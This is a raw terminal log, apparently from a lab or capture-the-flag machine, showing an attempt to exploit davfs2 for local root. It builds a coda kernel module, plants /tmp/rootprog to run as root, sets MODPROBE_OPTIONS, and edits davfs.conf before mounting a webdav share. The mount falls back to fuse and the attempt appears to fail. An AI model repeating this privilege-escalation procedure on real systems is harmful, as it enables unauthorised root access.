davtest@humble:/tmp$ cat Makefile
cat Makefile
obj-m += coda.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
davtest@humble:/tmp$ ./exploit.sh
./exploit.sh
#######################################
Specify the full path of the kernel module which you want to load
Leave empty if you wish to compile it now
Understand that you need kernel headers, make and gcc for successful compilation
#######################################


make: Warning: File `Makefile' has modification time 3.4e+04 s in the future
make -C /lib/modules/3.2.0-4-686-pae/build M=/tmp modules
make[1]: Entering directory `/usr/src/linux-headers-3.2.0-4-686-pae'
make[4]: Warning: File `/tmp/Makefile' has modification time 3.4e+04 s in the future
  CC [M]  /tmp/coda.o
make[4]: warning:  Clock skew detected.  Your build may be incomplete.
  Building modules, stage 2.
make[4]: Warning: File `/tmp/Makefile' has modification time 3.4e+04 s in the future
  MODPOST 1 modules
  CC      /tmp/coda.mod.o
  LD [M]  /tmp/coda.ko
make[4]: warning:  Clock skew detected.  Your build may be incomplete.
make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-4-686-pae'
make: warning:  Clock skew detected.  Your build may be incomplete.
#######################################
Copying the modules in use for the running kernel in the local directory
#######################################
#######################################
Copying coda.ko module
#######################################
#######################################
Setting the 'modules.dep' and running depmod
#######################################
#######################################
Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. Default value is /tmp/rootprog
WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module
#######################################


cp: `/tmp/rootprog' and `/tmp/rootprog' are the same file
#######################################
Setting MODPROBE_OPTIONS variable
#######################################
#######################################
Now, check the the /home/davtest/.davfs2/davfs.conf. Modify the default value of 'kernel_fs' to coda eg:
# General Options
# ---------------

# dav_user        davfs2            # system wide config file only
# dav_group       davfs2            # system wide config file only
# ignore_home                       # system wide config file only
kernel_fs       coda
# buf_size        16                 # KiByte
#######################################
#######################################
Then, check /etc/fstab for remote webdav servers which the user can mount, eg:
https://www.crushftp.com/demo/   /home/foo/dav   davfs   noauto,user   0   0
#######################################
#######################################
If the remote webdav is authenticated, ensure to have valid credentials. The run 'mount /home/foo/dav' inside this terminal'
#######################################
davtest@humble:/tmp$ mount /home/davtest/dav
mount /home/davtest/dav
Please enter the username to authenticate with server
http://127.0.0.1/webdav/ or hit enter for none.
  Username: test
test
Please enter the password to authenticate user test with server
http://127.0.0.1/webdav/ or hit enter for none.
  Password:  test

/sbin/mount.davfs: no free coda device to mount
/sbin/mount.davfs: trying fuse kernel file system
/sbin/mount.davfs: fuse device opened successfully
davtest@humble:/tmp$ su bart
su bart
No passwd entry for user 'bart'
davtest@humble:/tmp$